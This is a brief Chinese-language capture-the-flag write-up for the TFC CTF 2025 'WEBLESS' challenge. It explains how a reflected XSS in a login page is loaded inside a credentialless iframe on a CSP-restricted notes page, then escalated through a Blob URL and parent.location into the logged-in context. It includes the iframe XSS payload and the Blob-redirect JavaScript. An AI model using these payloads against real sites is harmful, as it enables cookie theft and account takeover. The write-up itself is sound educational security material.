TFC CTF 2025 WEBLESS

TFC CTF 2025 WEBLESS

一个XSS ctf,简单概括下题目要点:

  • 未登录下,在登录页面,有GET类型的反射型xss,
  • 登录状态,在笔记页面,可以写入内容,但是有csp "script-src 'none'; style-src 'self'"

解法如下:

在笔记页面,使用iframe加上credentialless,构造

1
2

<iframe src="http://127.0.0.1:5000/login?username='><img/src=x onerror=alert(1)>&password=yes" width="960" height="600" credentialless></iframe>

这样打开笔记页面时,iframe就可以执行js代码。

实际利用的payload,使用blob,然后parent.location跳转到这个blob。

1
2
3
4
5
6
7
8
9
10
11

const c = URL.createObjectURL(
new Blob(
[
"<script>alert(document.domain)</script>"
],
{ type: "text/html" }
)
);

parent.location = c;

URL.createObjectURL() 创建一个 Blob URL 时,这个新的 blob: URL 会继承创建它的那个页面的源(Origin)。

Blob 本身只是内存中的一块数据。我们利用它来做“上下文切换”,把攻击载荷从受限的环境转移到我们想要的环境。在我们的攻击中:iframe是一个未登录的、受限的上下文。XSS 脚本在 iframe 中执行的唯一命令是 parent.location = …。
这个命令强制父窗口(也就是帖子的主页面,它是一个已登录的上下文)去加载我们刚刚创建的 Blob URL。
这样一来,我们最终的偷旗脚本 (finalPayload) 就成功地从 iframe 的“未登录”上下文,被转移到了主窗口的“已登录”上下文中去执行了。

在blob中执行的代码可以使用原主页面的cookie。